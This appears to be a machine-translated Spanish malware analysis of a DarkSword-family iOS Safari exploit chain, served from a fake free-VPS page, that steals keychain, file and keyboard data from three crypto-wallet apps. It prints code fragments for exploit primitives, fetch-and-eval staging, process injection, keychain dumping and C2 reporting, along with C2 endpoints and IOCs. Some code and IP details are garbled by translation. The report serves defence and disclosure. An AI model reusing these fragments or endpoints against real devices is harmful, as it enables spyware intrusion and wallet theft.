Antecedentes


Una página de un evento que supuestamente ofrece un VPS gratis; en realidad, es un señuelo. Según se muestra en una página recuperada desde un archivo público, el event[.]polarnode[.]vip registrado a finales de agosto de 2026 declara https[:]//lk[.]wyincc[.]com/lk.js como secuencia de carga previa. La página se puede interactuar y luego carga automáticamente el script, sin que los visitantes necesiten hacer clic.

标题: fig:

Después de decodificar las muestras del cargador guardadas, confirmamos que está dirigido a la entrega de iPhones con Safari puro en iOS 18.4–18.6.2. En última instancia, apunta a la recopilación de datos de archivos, llavero (Keychain) y la entrada del teclado, con el objetivo de tres aplicaciones de monedero. Esta cadena coincide en gran medida con la cadena de explotación de iOS DarkSword publicada por el Grupo de Inteligencia de Amenazas de Google (GTIG), corresponde a seis CVE y pertenece a la reutilización de un n-day.


Este artículo analiza la muestra principal del cargador basada en 1k[.]wyincc[.]com/lk[.]js y la instantánea de lk[.]wyincc[.]com/lk[.]js guardada por urlscan. El análisis de las seis vulnerabilidades CVE y las capacidades de post-explotación se limita a la cadena /dist/sandbox.html.

Este método no es un caso aislado. Un informe simultáneo de socket.dev reveló que 13 temas maliciosos de Packagist roban datos del dispositivo y frases mnemotécnicas de la cartera a través de la cadena de exploits de WebKit al kernel, y las vulnerabilidades CVE utilizadas coinciden con las de DarkSword en este informe.
Este análisis se basa en evidencia estática; no se ejecutaron muestras, no se abrieron iframes ni se enviaron respuestas al navegador ni al motor JavaScript. Las descargas remotas y las solicitudes C2 simuladas durante la fase forense se realizaron con autorización independiente, y no se enviaron datos reales del dispositivo. Las descripciones de las capacidades del código en este documento indican la existencia de implementaciones o rutas de llamada correspondientes, pero no implican que las operaciones relevantes se hayan ejecutado correctamente en un dispositivo real.

Respuesta de MistEye

MistEye es un sistema de inteligencia de amenazas Web3 y monitorización dinámica de seguridad desarrollado de forma independiente por SlowMist. Integra capacidades de monitorización de seguridad y agregación de inteligencia para proporcionar a los usuarios alertas de riesgo en tiempo real y protección de activos.

Tras recibir la muestra, MistEye reconstruyó la cadena de ataque completa, desde el análisis del dispositivo y la entrega oculta de iframes hasta la explotación en múltiples etapas y la post-explotación. Extrajo los nombres de dominio, las direcciones IP y los indicadores de compromiso (IOC) de archivos maliciosos relevantes, e integró los paquetes maliciosos y los IOC en su motor de detección de amenazas para emitir alertas de riesgo y sugerencias de actuación a los usuarios pertinentes.

A continuación se presenta un análisis técnico detallado.

descodificación

La muestra no contiene caracteres de salto de línea; se ejecuta en una sola línea. Su ofuscación consta de tres capas: una matriz de cadenas de 1025 elementos, desplazada a la izquierda por una función invocada inmediatamente (IIF) al inicio, y codificación Base64 y RC4 personalizada aplicada cadena por cadena. El alfabeto personalizado coloca las letras minúsculas antes que las mayúsculas.

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=

La salida SHA-256 decodificada es 38b43a6d27b08ff94a600fbe8182b4a2ba0eb744f68801a2d3454431f78e9fa5. El decodificador solo lee el texto y realiza su propia transformación Base64/RC4; no evalúa ningún código JavaScript.

Se extrajo una configuración fija del texto plano: Servidor: https://lkwyincc.com, punto final SDK preferido: 1324821049:36887, punto final de respaldo: 66117225238:36887, latido de 20 segundos, origen del dispositivo: 782391, identificador del cliente: web-sdk V1.0. La configuración también incrustó una clave pública RSA con codificación SHA-256 de 85ec8a4c83463565b3a517b6ee9d010fbf6643c49a67245c64b27bd8a0e43681, que se utilizará para cifrar el tráfico enviado a los puntos finales SDK en etapas posteriores.

En primer lugar, cabe destacar las tres aplicaciones objetivo de la configuración: imToken (im.token.app), TokenPocket (com.global.wallet.ios) y TronLink (com.tronlink.hdwallet). Este mismo conjunto de identificadores volverá a aparecer más adelante en la tarea de recopilación de pulsaciones de teclas.

Segmentación y entrega


Lo primero que hay que hacer tras la decodificación es decidir a quién entregar la carga útil. La muestra del cargador 1k[.]wyincc[.]com analizada en este documento utiliza /iPhone OS (\d+)[_.](\d+)/i para analizar navigator.userAgent. Tras la ofuscación y la simplificación aritmética, la determinación de la versión es equivalente a:

si (mayor !== 18 || menor < 4 || menor > 6) regresar;

En este ejemplo de cargador, solo las versiones de iOS 18.4–18.6.x en iPhones superan la prueba. La selección del navegador también requiere la inclusión de Safari/, Version/ y Mobile/...Safari, excluyendo Chrome, Firefox, Opera, Edge (CriOS, FxiOS, OPiOS, EdgiOS) en iOS, así como WebViews integrados en WeChat, QQ, Telegram, Alipay y varias aplicaciones de redes sociales y noticias. La expresión regular solo coincide con iPhone OS, no con el sistema operativo de la CPU utilizado por los iPads.

La instantánea del cargador a la que hace referencia la página guardada por urlscan no eliminó las ramas mencionadas: los iPhones con iOS 18.4–18.6.2 siguen accediendo a /dist/sandbox.html. En comparación con la muestra del cargador analizada en el cuerpo principal, también utiliza iPhone|iPod para la coincidencia global de dispositivos, incluido el iPod touch, y añade una lista blanca para iOS 15.2 a 17.1, transfiriendo estas versiones anteriores y el iPod touch a una rama adicional /group.html.

Los visitantes que no superan el filtro no son simplemente ignorados. El código oculta todos los elementos secundarios de la página actual y muestra una sugerencia multilingüe, permitiendo a los usuarios copiar la dirección y abrirla en Safari. Esta sugerencia de compatibilidad, a la vez que dirige proactivamente a los visitantes al entorno de navegador que necesitan.

标题: fig:

Los visitantes que superen el control de seguridad entrarán en la lógica de bloqueo y enfriamiento: al recibir los mensajes pe_injected y chain_locked, se escribirán en el estado local y en la cookie para evitar que se activen repetidamente en el mismo dispositivo. El UID consta de una marca de tiempo y caracteres aleatorios. Los dos detectores de mensajes solo comprueban event.data.type, no event.origin ni event.source. Otros marcos en la misma página pueden falsificar estos mensajes para activar el bloqueo o el enfriamiento prematuramente.

Cadena de suministro

El siguiente análisis completo de la cadena de entrega se aplica a la rama /dist/sandbox.html compartida por ambos cargadores. La instantánea del cargador a la que hace referencia la página incluye además la rama paralela /group.html, pero esta ruta fue bloqueada por el WAF anterior con un error HTTP 403, y su contenido posterior no se obtuvo en este estudio; por lo tanto, esta rama no se incluye en el linaje de DarkSword, las seis vulnerabilidades CVE ni las capacidades de recopilación de datos que se describen más adelante en este artículo.

En los iPhones que ejecutan iOS 18.4–18.6.2, después del filtrado, el cargador construye un iframe oculto con una plantilla de dirección fija:

https://lk.wyincc.com/dist/sandbox.html?d=<URL-encoded Base64 JSON>

Se confirmó que la transferencia de la configuración inicial del cargador a sandbox.html se completó mediante el parámetro `?d=` en la URL. `d` contiene JSON Base64 codificado en URL que incluye el origen del sitio actual, el nombre de host, utm_source, el UID de sesión, así como el punto final del SDK, la clave pública RSA, device_source y la configuración de la cartera de destino. Dado que los campos UID y del sitio se generan en tiempo de ejecución, no existe una URL de tercera etapa única y fija que pueda reconstruirse previamente. Para continuar la investigación, obtuvimos sandbox.html en condiciones forenses utilizando los parámetros reconstruidos de la configuración.

El iframe se mantiene fuera de la pantalla e invisible mediante un estilo. La página sandbox carga chunks/vendor.js a través de un elemento de script dinámico. El proveedor vuelve a comprobar la versión y enruta en consecuencia: para iOS 18.6, descarga runtime.js y lo envuelve en un Blob Worker; para iOS 18.4 y 18.5, descarga runtime-legacy.js, lo recupera por separado y evalúa polyfill.js en la página. La ruta RCE heredada coordina el establecimiento de primitivas RCE y la transferencia de etapas subsiguientes pasando y sincronizando el estado a través de postMessage entre el contexto de la página y el contexto del Worker; esto difiere de los oyentes de mensajes pe_injected y chain_locked mencionados anteriormente, que solo son responsables de ejecutar lock/cooldown.

Cada segmento subsiguiente se descarga solo después de que el segmento anterior se haya completado con éxito. La cadena completa contiene dos capas de escape de sandbox, identificadas por SBX0 y SBX1 respectivamente: SBX0 transfiere la ejecución del proceso de contenido de la página web al proceso de GPU, y SBX1 la transfiere del proceso de GPU a mediaplaybackd.

  • runtime.js (18.6) aprovecha CVE-2025-43529 (corrupción de memoria debido a un defecto de recolección de basura en JavaScriptCore DFG JIT) junto con CVE-2026-20700 (omisión de autenticación de puntero PAC en el espacio de usuario de dyld) para establecer primitivas de ejecución remota de código (RCE) para JavaScriptCore/WebKit: addrof de dirección de objeto, fakeobj de pseudoobjeto, lectura/escritura arbitraria, procesamiento PAC (autenticación de puntero) y llamadas nativas, luego obtiene y evalúa sincrónicamente framework.js. runtime-legacy.js y polyfill.js proporcionan las mismas primitivas para 18.4/18.5, correspondientes a CVE-2025-31277 (corrupción de memoria debido a la optimización/ofuscación de tipo de JavaScriptCore JIT) y CVE-2026-20700.

// runtime.js (18.6) — Primitivas RCE
función addrof(objeto){ return BigInt.fromDouble(p_rce.addrof(objeto)) }
función fakeobj(addr){ return p_rce.fakeobj(addr.asDouble()) }
// read32 / read64 / write8 / write64 se basan en el mismo mecanismo fakeobj/scribble.

// runtime.js — Transferencia de SBX0 (eval framework.js)
print("[RCE] Iniciando la carga del escape de sandbox SBX0...");
const sbx0_script = getJS("framework.js?" + Date.now());
evaluar(script sbx0)

  • framework.js implementa SBX0, utilizando CVE-2025-14174 (lectura/escritura de memoria fuera de límites causada por una validación insuficiente de parámetros de operación específicos en ANGLE/WebGL) para cambiar la ejecución del proceso de contenido de la página web al proceso de la GPU, cargando common.js después de la rama SBX0 SUCCEEDED; framework-legacy.js es la contraparte heredada.

// framework.js — Punto de entrada de SBX0
print("[SBX0] ======== sbx0_main.js eval start ========");
const { write8, read32, read64, write64, dlopen, dlsym, device_model, chipset } = p;

  • common.js implementa SBX1, explotando CVE-2025-43510 (vulnerabilidad de gestión de memoria de copia en escritura (COW) del kernel XNU) para escapar del proceso de la GPU al proceso mediaplaybackd con mayores privilegios, incluyendo su punto final XPC, la ruta IOSurface/Scaler y la rutina sbx1sbx1_exp, y luego carga app.js; common-legacy.js reutiliza el app.js existente.

// common.js — Anclaje XPC de reproducción multimedia y transferencia de escalada de privilegios de SBX1
let XPC_ENDPOINT_REMAKER = "com.apple.coremedia.mediaplaybackd.remaker.xpc";
remaker_connection = xpc_connection_create_mach_service(XPC_ENDPOINT_REMAKER, 0n, 0n);
function spawn_pe(){ LOG("Generando PE..."); let pe_stage1_js_data_array = new Uint8Array([...]); }

  • app.js utiliza la vulnerabilidad CVE-2025-43520 (una corrupción de memoria causada por una condición de carrera del kernel en el sistema de archivos virtual XNU VFS) para construir primitivas de lectura/escritura del kernel y de escalada de privilegios. Esto incluye la encapsulación de lectura/escritura del kernel, MigFilterBypass, la extensión de sandbox applySandboxEscape, la eliminación de informes de fallos y la lógica de coordinación para obtener tres complementos e inyectarlos en tres procesos del sistema. Los tres complementos son sync.js, auth.js e input.js, y el programa restaura tres scripts de tareas correspondientes a cada uno de los tres tipos de complementos.

// app.js — Punto de entrada para lectura/escritura del kernel y escalada de privilegios
let kernel_base = 0n; let kernel_slide = 0n; let is_a18_devices = false;
función pe_v1() { /* ... */ }

Cada una de las tres rutas de inyección inicia una solicitud HTTP GET en texto plano para recuperar el complemento y, a continuación, entrega la respuesta al proceso correspondiente:

var inject = new InjectJS("SpringBoard", agentCode, migFilterBypass);
si (inyectar.inyectar()) { ... }

Los tres objetivos son SpringBoard (sync.js), secured (auth.js) y kbd (input.js); los tres scripts de tareas recuperados corresponden a estos tres tipos de complementos, y el proxy de tareas se inyecta mediante coordinación de código. Las cadenas SBX0 SUCCEEDED y SBX1 SUCCEEDED en el código son cadenas de rama de estado, no los registros de éxito que observamos.

Es necesario añadir un punto más con respecto a la fuente. lk[.]wyincc[.]com devuelve HTTP 403 para los recursos de la rama heredada (runtime-legacy.js, polyfill.js, framework-legacy.js, common-legacy.js). Obtuvimos estos cuatro archivos del nodo de alojamiento de carga útil asociado 1k[.]wyincc[.]com; este nodo ha sido previamente verificado para tener respuestas consistentes byte a byte del host real al que hace referencia la página en vendor.js y runtime.js compartidos, pero no afirmamos que estos archivos heredados sean equivalentes byte a byte a las respuestas lk no obtenibles. Los dos recursos condicionales, powercuff_light.js y chain_status_overlay.js, devuelven 403 en el host real al que hace referencia la página y 404 HTML en el nodo de alojamiento de carga útil asociado; no hay ningún script disponible para el análisis.

Linaje de DarkSword

Varias trazas únicas en el código coinciden con las de una herramienta documentada públicamente. `app.js` contiene el comentario "Si iOS >= 18.4 aplicamos migbypass para eludir las restricciones de autobox", la clase `MigFilterBypass`, `Chain.runPE()` seguido de `Sandbox.applySandboxEscape()`, la eliminación del directorio `systemgroup.com.apple.osanalytics/DiagnosticReports/` y referencias a la herramienta `startSandworm`. La distribución de versiones (18.4/18.5 y 18.6) y las responsabilidades de fase de SBX0 → SBX1 → PE también coinciden con el análisis DarkSword publicado por GTIG. El boletín de seguridad de Apple confirma además el CVE correspondiente y la publicación del parche.

El archivo app.js desofuscado conserva varios rastros directamente identificables:

// app.js — enrutamiento de versiones migbypass (comentario único de DarkSword)
// Si iOS >= 18.4 aplicamos migbypass para eludir las restricciones de autobox
if (ver.major == 24 && ver.minor >= 4) { /* migbypass */ }

// Envoltorio de lectura/escritura del kernel en cadena en el archivo MigFilterBypassThread.js integrado.
static runPE() { /* ... */ }
static getKernelBase() { /* ... */ }
static read(srcAddr, dst, len) { /* ... */ }
static write(dst, src, len) { /* ... */ }

// Se hace referencia a la herramienta startSandworm (se conserva como un comentario en el código fuente).
// let baseKernel = startSandworm();

En base a esto, asignamos la fase local a seis CVE:

Cuando GTIG observó inicialmente DarkSword, las vulnerabilidades CVE-2025-43529, CVE-2026-20700 y CVE-2025-14174 se consideraban vulnerabilidades de día cero. Tras el evento WYINCC en septiembre de 2026, las seis vulnerabilidades fueron divulgadas públicamente y parcheadas por Apple. Por lo tanto, este informe representa una reutilización de la cadena de seis vulnerabilidades en DarkSword. Las versiones de los parches y el estado histórico de día cero se basan en informes de GTIG y boletines de seguridad de Apple.

Tres tareas C2

Para aclarar qué instrucciones le da la cadena al proxy inyectado, iniciamos solicitudes mínimas de requestJsCode a cada uno de los dos puntos finales del SDK bajo autorización independiente, utilizando un UID sintetizado y un campo de sitio vacío, lo que resultó en dos solicitudes por punto final. No se envió ningún registro de dispositivo, latido, llavero, teclado ni datos de la aplicación durante todo el proceso.

El punto final principal 13[.]248[.]210[.]49:36887 devolvió una respuesta de 54.773 bytes en ambos intentos de conexión; el punto final de respaldo 66[.]117[.]225[.]238:36887 devolvió una respuesta vacía en ambos intentos de conexión. Las respuestas se cifraron con AES-256-GCM y se encapsularon como tramas SSP2. Utilizamos la clave de sesión guardada para realizar el descifrado fuera de línea, la descompresión LZFSE y la verificación SSP2/JSON/Base64 para recuperar tres scripts de tareas. Ninguna de las tres tareas se ejecutó.

Cada una de las tres tareas corresponde a un proceso inyectado:

  • Las tareas de SpringBoard se configuran según el archivo apps_json del servidor, enumerando recursivamente los archivos del contenedor de la aplicación, el grupo de aplicaciones compartido o las rutas absolutas, subiéndolos por partes e incluyendo la codificación SHA-256 archivo por archivo y la reanudación de las cargas interrumpidas; cuando task_type es 1 o 4, también decodificará Base64 y evaluará el JavaScript enviado por el servidor y devolverá los resultados.

  • La tarea securityd abre /private/var/Keychains/keychain-2.db, consulta las tablas genp e inet, descifra el blob de datos usando la clase privada SecDbKeychainItemV7, extrae v_Data, acct, svce y agrp, y luego lo informa.

  • La tarea kbd supervisa la aplicación en primer plano; cuando la aplicación de la cartera de destino está en primer plano, consulta la variable de instancia interna del teclado (_inputString, _contextBeforeInput, _contextAfterInput) e informa del contenido almacenado en caché como reportAppPwd cuando finaliza la entrada o cambia la aplicación.

Recopilación de datos del llavero

La tarea securityd corresponde al complemento auth.js. Después de que app.js recupera `/dist/plugins/auth.js` mediante `GET /dist/plugins/auth.js`, inyecta el código en securityd usando `InjectJS("securityd", ...)`. Luego, usa llamadas nativas (dlsym, objc_msgSend) establecidas en la cadena para llamar directamente a ObjC desde JavaScript, abriendo la biblioteca Keychain en modo de solo lectura.

sqlite3_open_v2("/private/var/Keychains/keychain-2.db", dbHandlePtr, SQLITE_OPEN_READONLY, 0)

Solo itera a través de las tablas `genp` (criptografía general) e `inet` (criptografía de Internet) (SELECT *, filtrado por `agrp LIKE '%keyword%'`, máximo 500 filas por tabla; si la palabra clave está vacía, se reduce a 1=1 e itera a través de todas las filas). La columna `data` es un BLOB cifrado. El código no descifra el keybag, sino que utiliza métodos de la clase privada `SecDbKeychainItemV7` (como `initWithData:decryptionKeybag:error:`, etc.) para descifrarlo, leer el valor secreto `v_Data` y extraer `acct`, `svce` y `agrp`.

var tablas = ["genp", "inet"];
var cls = ncall("objc_getClass", _sp("SecDbKeychainItemV7"));

Task_type == 3 activa un volcado (palabras clave de apps_json o contenido del lado del servidor; task_type == 4 también puede extender la recopilación a la evaluación de scripts del lado del servidor), y los resultados se informan a través de reportKeychain mediante un canal C2 encapsulado por SSP2 / AES-256-GCM / RSA:

sendReport("reportKeychain", { keychain: b64, task_id: taskId || "" });

Resumir

Hemos confirmado que se trata de un marco de explotación y post-explotación en múltiples etapas, activado por acceso, para Safari puro en iPhones con iOS 18.4–18.6.2, perteneciente a la familia DarkSword. Los riesgos residen en tres aplicaciones de monedero (imToken, TokenPocket y TronLink), donde el código posee ejecución remota de código en el navegador, capacidades de escape de la zona de pruebas de dos capas, funcionalidad de lectura/escritura del kernel y la capacidad de inyectar proxies en SpringBoard, secured y kbd, recopilando datos de archivos, el llavero y la entrada del teclado.

Las tres vulnerabilidades de día cero observadas inicialmente por GTIG en DarkSword ya habían sido divulgadas públicamente y parcheadas por Apple para el momento de este evento. La presentación actual de WYINCC debe caracterizarse como una reutilización de n días de las seis cadenas de vulnerabilidades. La instantánea del cargador a la que hace referencia la página lk[.]wyincc[.]com también contiene una rama /group.html para versiones anteriores de iOS y iPod touch, que fue bloqueada por el WAF anterior con un error HTTP 403 y no se obtuvo el flujo descendente. Por lo tanto, las seis CVE y las conclusiones de la recopilación de datos solo se aplican a la rama /dist/sandbox.html.

sugerencia

  1. En el límite de la red (proxy, DNS, EDR/NDR), se bloquearon los dominios wyincc[.]com y polarnode[.]vip, y tres endpoints 36887. Se recuperaron registros que muestran que los UA de iPhone con iOS 18.4–18.6.2 accedieron a rutas como /dist/sandbox.html, /dist/chunks/ y /dist/plugins/. También se recuperó el acceso a /group.html por parte de UA con iOS 15.2–17.1 (incluido posiblemente iPod touch). El primero constituye una exposición completa conocida de la cadena; el segundo solo confirma un golpe en una rama descendente que no se obtuvo en este caso, y las conclusiones de los seis CVE o la recopilación de datos de la billetera no se pueden aplicar directamente.

  2. Si tu sitio ha sido infectado con este script, elimínalo de la caché de la página, la CDN y el almacenamiento de objetos. Verifica las fuentes de importación de plantillas, gestores de etiquetas y sistemas publicitarios, e implementa CSP/SRI para restringir que los scripts de terceros hereden el contexto del sitio.

  3. Priorice la recopilación de evidencia forense para dispositivos iPhone que hayan accedido a la página de entrega y ejecuten Safari en iOS 18.4–18.6.2, recopilando el historial de Safari, los fallos de WebKit, las anomalías de proceso y los registros de acceso al llavero; conserve la misma evidencia básica para iPhones o iPod touches que ejecuten iOS 15.2 a 17.1 que tengan acceso a /group.html, pero no afirme una explotación exitosa o la recopilación de datos basándose únicamente en el acceso a la ruta.

  4. Para los usuarios que utilizan las siguientes tres carteras objetivo: imToken, TokenPocket y TronLink, determine si debe rotar las credenciales, revocar las sesiones y monitorear las direcciones y transacciones en la cadena de bloques según los resultados del análisis forense del dispositivo; no afirme que las claves privadas o las frases mnemotécnicas se han filtrado basándose únicamente en los registros de acceso.

  5. Actualiza tu dispositivo a la versión parcheada por Apple (iOS/iPadOS 18.7.3 o 26.3 y posteriores) y conserva la respuesta original, la clave de sesión y el hash para el análisis de correlación posterior.

COI


nombre de dominio


1k[.]wyincc[.]com

lk[.]wyincc[.]com
evento[.]polarnode[.]vip
nodo polar[.]vip


IP


13[.]248[.]210[.]49 

66[.]117[.]225[.]238 

166[.]117[.]225[.]238


URL


13[.]248[.]210[.]49:36887

66[.]117[.]225[.]238:36887

166[.]117[.]225[.]238:36887

https[.]//lk[.]wyincc[.]com/lk.js

https[.]//1k[.]wyincc[.]com/lk.js

Archivos maliciosos


Nombre del archivo: lk.js

SHA256: 89912ab03eb2d02746e52df7b17035082d973234f249098caec11684e665c337

nombre del archivo: lk.js

SHA256: 892dd644ea9a10fd4d89c54d6cfe1028487c3fc23d3f29723af9004b6edf8c70
Nombre del archivo: sandbox.html

SHA256: 953cfa9bf94304ad453eab706cd7cc92cde68eb6ea3c85652aa9040609e75f54

Nombre del archivo: vendor.js

SHA256: 52e2208a37c6dda971c9a67333dbcf526531745feb426a91ace9741ad178f510
Nombre del archivo: runtime.js

SHA256: a5ebcbd5c744865535dd75d8742c99bc06b548dc2606ac6f116843b54451f73b
Nombre del archivo: runtime-legacy.js

SHA256: afdb430bafc3c441ada98fe4a165fd1ad3a38ff5789517c5dd3f83a143706d53
Nombre del archivo: polyfill.js

SHA256: f0409f0d1c134be43dcd697b4715cca64efa66e482d252744163f552050cd236
Nombre del archivo: framework.js

SHA256: 78973b4d04cb6fee3c399937476347eca0aa9b99fa13596fe9dfaff829aba03b
Nombre del archivo: framework-legacy.js

SHA256: 36b43f98c7f4d2d5a0f14ce8a5bdfd2fc055f8628da4a2d9ece2402385447f1e
Nombre del archivo: common.js

SHA256: 69e357f06ee87ea934b328c4e701d1d48dcfcef51352bb61c64ef89424c029d8
Nombre del archivo: common-legacy.js

SHA256: 693af544eb4deb194f481a870f1202fefb0c278820bb23bced85cd354d29a63e
Nombre del archivo: app.js

SHA256: ab356a2bbdbb7f8e9327e10a2cf6d35ca0c4dbba06d982f559b00d13d31f3017
Nombre del archivo: sync.js

SHA256: 6eda3586102cf35ca53189accd2f56fec63a8adf74ccf93b59aed1e7651a690f
Nombre del archivo: auth.js

SHA256: 78406a0c68043df99cea87f280e8307675c285ca9d88f5a56aa9901c6f503d11
Nombre del archivo: input.js

SHA256: 3a2341a13a7c4854bc203be18eebd11f716e043540a91974ef6d6d12253f6c9d

Acerca de MistEye


MistEye es una plataforma de inteligencia de amenazas y monitorización de seguridad dinámica Web3 desarrollada de forma independiente por SlowMist. Proporciona capacidades de detección de actividad maliciosa y alerta de riesgos en la cadena de suministro a partir del ecosistema de paquetes de código abierto mediante una API.


Todos los paquetes maliciosos e indicadores de compromiso (IOC) involucrados en esta operación se han integrado al motor de detección de amenazas de MistEye. Los desarrolladores pueden usar la API para detectar automáticamente las dependencias del proyecto, determinar rápidamente si contienen paquetes maliciosos conocidos y obtener sugerencias para su manejo.


📖 Documentación de la API: https://app.misteye.io/api-docs


🛠️ MistEye-DepScan: https://github.com/slowmist/MistEye-DepScan Una herramienta de línea de comandos ligera que escanea las dependencias del proyecto y los paquetes instalados globalmente en busca de paquetes maliciosos conocidos con un solo comando. Compatible con el ecosistema npm / PyPI / Cargo / Go / RubyGems.


🛠️ MistEye-Skills: https://github.com/slowmist/misteye-skillsAI Un paquete de habilidades de seguridad de asistente de codificación que activa automáticamente las comprobaciones de seguridad de MistEye antes de la instalación de dependencias y el acceso a URL.


🛠️ MistEye-DNS-Guard: https://github.com/slowmist/MistEye-DNS-Guard Una herramienta de seguridad DNS que detecta dominios maliciosos y accesos riesgosos, e identifica phishing, C2 y otras amenazas de red.


Este artículo fue redactado por el equipo de inteligencia de amenazas de SlowMist en colaboración con el sistema de inteligencia de amenazas MistEye y el análisis basado en IA del agente SlowMist. Si tiene alguna pregunta o comentario, no dude en contactarnos.


referencia

[1]https://socket.dev/blog/packagist-themes-ios-spyware

[2]https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain

[3]https://support.apple.com/en-bw/125885

[4]https://support.apple.com/en-me/125633

[5]https://support.apple.com/en-us/126346

[6]https://www.nodeseek.com/post-905477-1